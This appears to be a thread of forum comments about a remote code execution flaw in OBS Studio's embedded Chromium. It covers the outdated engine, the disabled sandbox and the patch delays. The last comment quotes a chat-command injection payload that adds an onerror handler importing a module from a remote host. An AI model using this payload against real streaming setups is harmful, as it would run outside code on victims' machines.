Sure, if the plugin developer sanitized the comments before inserting them, this wouldn't have happened _this way_, but having a browser engine two years outdated (for a reason which IMO is absolutely reasonable compared to other situations before) and having the Chromium sandbox completely disabled with nothing to substitute it is crazy in a software onto which people insert random plugins from the internet to get random functionality.
Hopefully those two changes ship fast to OBS. I may be supporting the project financially in the future if they update their security posture, as I'm generally very fond of OBS.
Well damn.
Not even counting the time it took to make this PR, releasing a security update for the browser took 4 months to merge. For reference Brave has a 1 day SLA for releasing the update itself after a security fix gets published.
That's not the end user's problem. End user's don't want to be told that they got hacked because keeping your product secure was too hard.
[0] If you're thinking about retorting with something like "Noone will download native programs, that's why 'everything' is in a web browser!", remember that this is code execution triggered in OBS Studio. [1]
[1] <https://obsproject.com>
This is not a bug. This is the the entire design architecture's intent for modern JS application execution based "web". If this was the correct choice for the web then this should not be a problem at all. But we all know it is. The architecture choice forces this. Until we stop arbitrarily executing random third party code this will always happen. And the consequences will get worse and worse as more bare metal features are exposed in to browsers JS virtual machines.
Be the change in the world you want to see. Turn javascript off. Use real native applications that cannot change underneath you.
I'm not terribly familiar with this sort of software, but isn't the reason for embedding Chromium to have access to JavaScript. Sure, it was intended for the person running the OBS instance. Yet offering the end user that much power also opens up the possibility of them shooting themselves in the foot.
But they can change (underneath). Native app is one bug away from arbitrary code execution. When remote content triggers this bug, it becomes RCE. In this case it was javascript engine bug, in any other it could be your photo viewer or whatever native code you are running with untrusted content. The untrusted content being an image you are viewing.
- A browser engine outdated by two years, with known-exploited CVEs
- Chromium sandboxing completely disabled [0]
- JavaScript V8 Engine with JIT enabled [0]
For me, it's surprising we haven't seen more of these yet.
[0]: https://github.com/obsproject/obs-browser/blob/f555da02b1d59...
> If you’re all “ra ra ra JavaScript!” you’re going to be shocked to find out what evil one can accomplish (either now or at various points in the past due to since-patched browser exploits or web platform security oversights) with just HTTP, HTML and CSS.
There's such a thing as an attack surface. JavaScript with JIT enabled has an attack surface so much larger than HTML and CSS that I cannot believe you're saying this in good faith.JS is a huge attack surface. It's better if it isn't used where it isn't actually needed.
It's a patch gap, plain and simple. Removing the sandbox certainly did not help things.
!image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='aThis allows people to paste in rich content, but not things like <script> tags.